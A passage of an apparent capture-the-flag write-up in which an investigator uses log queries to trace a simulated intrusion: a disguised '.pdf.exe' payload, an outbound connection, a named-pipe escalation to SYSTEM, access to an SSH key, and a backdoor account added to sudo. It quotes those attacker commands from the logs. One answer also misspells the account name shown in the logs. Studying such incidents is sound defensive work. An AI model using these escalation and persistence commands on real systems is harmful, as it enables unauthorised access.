class=&#34;keyword&#34;&gt;LIKE&lt;/span&gt; &amp;quot;*hollyhaven.snowflake*&amp;quot; &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; KEEP &lt;span class=&#34;variable&#34;&gt;@timestamp&lt;/span&gt;, event.host, event.ip&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS 2:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;@timestamp&lt;/th&gt;
&lt;th&gt;event.host&lt;/th&gt;
&lt;th&gt;event.ip&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;2024-09-15T14:36:26.000Z&lt;/td&gt;
&lt;td&gt;SleighRider&lt;/td&gt;
&lt;td&gt;172.24.25.12&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;SleighRider&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&#34;Question-6-What-was-the-IP-address-of-the-system-you-found-in-the-previous-question&#34;&gt;&lt;a href=&#34;#Question-6-What-was-the-IP-address-of-the-system-you-found-in-the-previous-question&#34; class=&#34;headerlink&#34; title=&#34;Question 6: What was the IP address of the system you found in the previous question?&#34;&gt;&lt;/a&gt;Question 6: What was the IP address of the system you found in the previous question?&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; Looking at the results from the previous question, we can see the IP address is &lt;code&gt;172.24.25.12&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;Question-7-A-process-was-launched-when-the-user-executed-the-program-AFTER-they-downloaded-it-What-was-that-Process-ID-number-digits-only-please&#34;&gt;&lt;a href=&#34;#Question-7-A-process-was-launched-when-the-user-executed-the-program-AFTER-they-downloaded-it-What-was-that-Process-ID-number-digits-only-please&#34; class=&#34;headerlink&#34; title=&#34;Question 7: A process was launched when the user executed the program AFTER they downloaded it. What was that Process ID number (digits only please)?&#34;&gt;&lt;/a&gt;Question 7: A process was launched when the user executed the program AFTER they downloaded it. What was that Process ID number (digits only please)?&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&#34;highlight sql&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;FROM&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;*&lt;/span&gt; &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;WHERE&lt;/span&gt; event_source &lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt; &amp;quot;WindowsEvent&amp;quot; &lt;span class=&#34;keyword&#34;&gt;AND&lt;/span&gt; event.EventID &lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;1&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;AND&lt;/span&gt; event.Hostname &lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt; &amp;quot;SleighRider.northpole.local&amp;quot; &lt;span class=&#34;keyword&#34;&gt;AND&lt;/span&gt; &lt;span class=&#34;variable&#34;&gt;@timestamp&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;&amp;gt;&lt;/span&gt; &amp;quot;2024-09-15T14:36:26.000Z&amp;quot; &lt;span class=&#34;keyword&#34;&gt;AND&lt;/span&gt; event.Image &lt;span class=&#34;keyword&#34;&gt;LIKE&lt;/span&gt; &amp;quot;*howtosavexmas*&amp;quot; &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; KEEP event.Image, event.ProcessID&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;event.Image&lt;/th&gt;
&lt;th&gt;event.ProcessID&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;C:\Users\elf_user02\Downloads\howtosavexmas\howtosavexmas.pdf.exe&lt;/td&gt;
&lt;td&gt;10,014&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; In the first query of Hard Mode Question 5 we can observe the file &lt;code&gt;howtosavexmas.zip&lt;/code&gt;, the timestamp at which it was downloaded and the interested host. Searching for processes that matches this file on this machine we can find the answer, being the ProcessID  &lt;code&gt;10014&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;Question-8-Did-the-attacker’s-payload-make-an-outbound-network-connection-Our-ElfSOC-analysts-need-your-help-identifying-the-destination-TCP-port-of-this-connection&#34;&gt;&lt;a href=&#34;#Question-8-Did-the-attacker’s-payload-make-an-outbound-network-connection-Our-ElfSOC-analysts-need-your-help-identifying-the-destination-TCP-port-of-this-connection&#34; class=&#34;headerlink&#34; title=&#34;Question 8: Did the attacker’s payload make an outbound network connection? Our ElfSOC analysts need your help identifying the destination TCP port of this connection.&#34;&gt;&lt;/a&gt;Question 8: Did the attacker’s payload make an outbound network connection? Our ElfSOC analysts need your help identifying the destination TCP port of this connection.&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&#34;highlight sql&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;FROM&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;*&lt;/span&gt; &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;WHERE&lt;/span&gt; event_source &lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt; &amp;quot;WindowsEvent&amp;quot; &lt;span class=&#34;keyword&#34;&gt;AND&lt;/span&gt; event.ProcessID &lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;10014&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;AND&lt;/span&gt; event.EventID &lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;3&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; STATS &lt;span class=&#34;built_in&#34;&gt;COUNT&lt;/span&gt;() &lt;span class=&#34;keyword&#34;&gt;BY&lt;/span&gt; event.DestinationPort, event.DestinationIp&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;COUNT()&lt;/th&gt;
&lt;th&gt;event.DestinationPort&lt;/th&gt;
&lt;th&gt;event.DestinationIp&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;389&lt;/td&gt;
&lt;td&gt;172.24.25.153&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;808&lt;/td&gt;
&lt;td&gt;172.24.25.25&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;143&lt;/td&gt;
&lt;td&gt;172.24.25.25&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;8,443&lt;/td&gt;
&lt;td&gt;103.12.187.43&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; Using the ProcessID from the previous query we can observe it did only one connection towards the public IP address &lt;code&gt;103.12.187.43&lt;/code&gt;. The answer to the question is the port on which the connection happened: &lt;code&gt;8443&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;Question-9-The-attacker-escalated-their-privileges-to-the-SYSTEM-account-by-creating-an-inter-process-communication-IPC-channel-Submit-the-alpha-numeric-name-for-the-IPC-channel-used-by-the-attacker&#34;&gt;&lt;a href=&#34;#Question-9-The-attacker-escalated-their-privileges-to-the-SYSTEM-account-by-creating-an-inter-process-communication-IPC-channel-Submit-the-alpha-numeric-name-for-the-IPC-channel-used-by-the-attacker&#34; class=&#34;headerlink&#34; title=&#34;Question 9: The attacker escalated their privileges to the SYSTEM account by creating an inter-process communication (IPC) channel. Submit the alpha-numeric name for the IPC channel used by the attacker.&#34;&gt;&lt;/a&gt;Question 9: The attacker escalated their privileges to the SYSTEM account by creating an inter-process communication (IPC) channel. Submit the alpha-numeric name for the IPC channel used by the attacker.&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&#34;highlight sql&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;FROM&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;*&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;WHERE&lt;/span&gt; event_source &lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt; &amp;quot;WindowsEvent&amp;quot; &lt;span class=&#34;keyword&#34;&gt;AND&lt;/span&gt; event.ProcessID &lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;10014&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;AND&lt;/span&gt; event.CommandLine &lt;span class=&#34;keyword&#34;&gt;LIKE&lt;/span&gt; &amp;quot;*pipe*&amp;quot;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; KEEP event.CommandLine&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;event.CommandLine&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;cmd.exe &amp;#x2F;c echo ddpvccdbr &amp;amp;gt; \\.\pipe\ddpvccdbr&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; Pivoting on the ProcessID 10014, we can observe the command &lt;code&gt;cmd.exe /c echo ddpvccdbr &amp;amp;gt; \\.\pipe\ddpvccdbr&lt;/code&gt; creating a pipe. The answer is the name of this pipe &lt;code&gt;ddpvccdbr&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;Question-10-The-attacker’s-process-attempted-to-access-a-file-Submit-the-full-and-complete-file-path-accessed-by-the-attacker’s-process&#34;&gt;&lt;a href=&#34;#Question-10-The-attacker’s-process-attempted-to-access-a-file-Submit-the-full-and-complete-file-path-accessed-by-the-attacker’s-process&#34; class=&#34;headerlink&#34; title=&#34;Question 10: The attacker’s process attempted to access a file. Submit the full and complete file path accessed by the attacker’s process.&#34;&gt;&lt;/a&gt;Question 10: The attacker’s process attempted to access a file. Submit the full and complete file path accessed by the attacker’s process.&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&#34;highlight sql&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;FROM&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;*&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;WHERE&lt;/span&gt; event.EventID &lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;4663&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;AND&lt;/span&gt; event.ProcessID &lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;10014&lt;/span&gt; &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; KEEP event.ObjectName&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;event.ObjectName&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;C:\Users\elf_user02\Desktop\&lt;a href=&#34;mailto:&amp;#x6b;&amp;#x6b;&amp;#114;&amp;#x69;&amp;#x6e;&amp;#103;&amp;#x6c;&amp;#x33;&amp;#49;&amp;#x35;&amp;#x40;&amp;#x31;&amp;#x30;&amp;#x2e;&amp;#49;&amp;#50;&amp;#46;&amp;#50;&amp;#53;&amp;#46;&amp;#x32;&amp;#52;&amp;#x2e;&amp;#112;&amp;#101;&amp;#x6d;&#34;&gt;kkringl315@10.12.25.24.pem&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; Keep pivoting on the ProcessID 10014, we can observe the access to the file &lt;code&gt;C:\Users\elf_user02\Desktop\kkringl315@10.12.25.24.pem&lt;/code&gt; which is the answer to the question.&lt;/p&gt;
&lt;h3 id=&#34;Question-11-The-attacker-attempted-to-use-a-secure-protocol-to-connect-to-a-remote-system-What-is-the-hostname-of-the-target-server&#34;&gt;&lt;a href=&#34;#Question-11-The-attacker-attempted-to-use-a-secure-protocol-to-connect-to-a-remote-system-What-is-the-hostname-of-the-target-server&#34; class=&#34;headerlink&#34; title=&#34;Question 11: The attacker attempted to use a secure protocol to connect to a remote system. What is the hostname of the target server?&#34;&gt;&lt;/a&gt;Question 11: The attacker attempted to use a secure protocol to connect to a remote system. What is the hostname of the target server?&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&#34;highlight sql&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;FROM&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;*&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;WHERE&lt;/span&gt; event_source &lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt; &amp;quot;AuthLog&amp;quot; &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; STATS &lt;span class=&#34;built_in&#34;&gt;COUNT&lt;/span&gt;() &lt;span class=&#34;keyword&#34;&gt;BY&lt;/span&gt; event.hostname&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;COUNT()&lt;/th&gt;
&lt;th&gt;event.hostname&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;269&lt;/td&gt;
&lt;td&gt;kringleSSleigH&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; The file &lt;code&gt;kkringl315@10.12.25.24.pem&lt;/code&gt; from previous question looks like a certificate for an ssh &lt;code&gt;username@ip&lt;/code&gt; connection. Among the log sources there is &lt;code&gt;AuthLog&lt;/code&gt; which reasonably pertains to a linux machine. Having only one machine in scope, its hostname &lt;code&gt;kringleSSleigH&lt;/code&gt; is the answer to question.&lt;/p&gt;
&lt;h3 id=&#34;Question-12-The-attacker-created-an-account-to-establish-their-persistence-on-the-Linux-host-What-is-the-name-of-the-new-account-created-by-the-attacker&#34;&gt;&lt;a href=&#34;#Question-12-The-attacker-created-an-account-to-establish-their-persistence-on-the-Linux-host-What-is-the-name-of-the-new-account-created-by-the-attacker&#34; class=&#34;headerlink&#34; title=&#34;Question 12: The attacker created an account to establish their persistence on the Linux host. What is the name of the new account created by the attacker?&#34;&gt;&lt;/a&gt;Question 12: The attacker created an account to establish their persistence on the Linux host. What is the name of the new account created by the attacker?&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&#34;highlight sql&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;FROM&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;*&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;WHERE&lt;/span&gt; event_source &lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt; &amp;quot;AuthLog&amp;quot; &lt;span class=&#34;keyword&#34;&gt;AND&lt;/span&gt; event.message &lt;span class=&#34;keyword&#34;&gt;LIKE&lt;/span&gt; &amp;quot;*new user*&amp;quot; &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; KEEP event.message&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;event.message&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;new user: name&amp;#x3D;ssdh, UID&amp;#x3D;1002, GID&amp;#x3D;1002, home&amp;#x3D;&amp;#x2F;home&amp;#x2F;ssdh, shell&amp;#x3D;&amp;#x2F;bin&amp;#x2F;bash, from&amp;#x3D;&amp;#x2F;dev&amp;#x2F;pts&amp;#x2F;6&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; Investigating the logs in the &lt;code&gt;AuthLog&lt;/code&gt; source, we can observe the creationg of the user &lt;code&gt;sshd&lt;/code&gt;, being the answer to the question.&lt;/p&gt;
&lt;h3 id=&#34;Question-13-The-attacker-wanted-to-maintain-persistence-on-the-Linux-host-they-gained-access-to-and-executed-multiple-binaries-to-achieve-their-goal-What-was-the-full-CLI-syntax-of-the-binary-the-attacker-executed-after-they-created-the-new-user-account&#34;&gt;&lt;a href=&#34;#Question-13-The-attacker-wanted-to-maintain-persistence-on-the-Linux-host-they-gained-access-to-and-executed-multiple-binaries-to-achieve-their-goal-What-was-the-full-CLI-syntax-of-the-binary-the-attacker-executed-after-they-created-the-new-user-account&#34; class=&#34;headerlink&#34; title=&#34;Question 13: The attacker wanted to maintain persistence on the Linux host they gained access to and executed multiple binaries to achieve their goal. What was the full CLI syntax of the binary the attacker executed after they created the new user account?&#34;&gt;&lt;/a&gt;Question 13: The attacker wanted to maintain persistence on the Linux host they gained access to and executed multiple binaries to achieve their goal. What was the full CLI syntax of the binary the attacker executed after they created the new user account?&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&#34;highlight sql&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;FROM&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;*&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;WHERE&lt;/span&gt; event_source &lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt; &amp;quot;AuthLog&amp;quot; &lt;span class=&#34;keyword&#34;&gt;AND&lt;/span&gt; event.message &lt;span class=&#34;keyword&#34;&gt;LIKE&lt;/span&gt; &amp;quot;*ssdh*&amp;quot; &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; SORT &lt;span class=&#34;variable&#34;&gt;@timestamp&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;ASC&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; KEEP event.message&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;event.message&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;group added to &amp;#x2F;etc&amp;#x2F;group: name&amp;#x3D;ssdh, GID&amp;#x3D;1002&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;new user: name&amp;#x3D;ssdh, UID&amp;#x3D;1002, GID&amp;#x3D;1002, home&amp;#x3D;&amp;#x2F;home&amp;#x2F;ssdh, shell&amp;#x3D;&amp;#x2F;bin&amp;#x2F;bash, from&amp;#x3D;&amp;#x2F;dev&amp;#x2F;pts&amp;#x2F;6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;group added to &amp;#x2F;etc&amp;#x2F;gshadow: name&amp;#x3D;ssdh&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;new group: name&amp;#x3D;ssdh, GID&amp;#x3D;1002&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;pam_unix(passwd:chauthtok): password changed for ssdh&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;changed user ‘ssdh’ information&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;members of group users set by root to kkringl315,pmacct,ssdh&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;kkringl315 : TTY&amp;#x3D;pts&amp;#x2F;5 ; PWD&amp;#x3D;&amp;#x2F;opt ; USER&amp;#x3D;root ; COMMAND&amp;#x3D;&amp;#x2F;usr&amp;#x2F;sbin&amp;#x2F;usermod -a -G sudo ssdh&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;add ‘ssdh’ to group ‘sudo’&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;add ‘ssdh’ to shadow group ‘sudo’&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; Pivoting on the &lt;code&gt;ssdh&lt;/code&gt;, we can observe the attacker used &lt;code&gt;usermod&lt;/code&gt; to add the user he just created to the sudoers. The answer is the full CLI syntax: &lt;code&gt;/usr/sbin/usermod -a -G sudo ssdh&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&#34;Question-14-The-attacker-enumerated-Active-Directory-using-a-well-known-tool-to-map-our-Active-Directory-domain-over-LDAP-Submit-the-full-ISO8601-compliant-timestamp-when-the-first-request-of-the-data-collection-attack-sequence-was-initially-recorded-against-the-domain-controller&#34;&gt;&lt;a href=&#34;#Question-14-The-attacker-enumerated-Active-Directory-using-a-well-known-tool-to-map-our-Active-Directory-domain-over-LDAP-Submit-the-full-ISO8601-compliant-timestamp-when-the-first-request-of-the-data-collection-attack-sequence-was-initially-recorded-against-the-domain-controller&#34; class=&#34;headerlink&#34; title=&#34;Question 14: The attacker enumerated Active Directory using a well known tool to map our Active Directory domain over LDAP. Submit the full ISO8601 compliant timestamp when the first request of the data collection attack sequence was initially recorded against the domain controller.&#34;&gt;&lt;/a&gt;Question 14: The attacker enumerated Active Directory using a well known tool to map our Active Directory 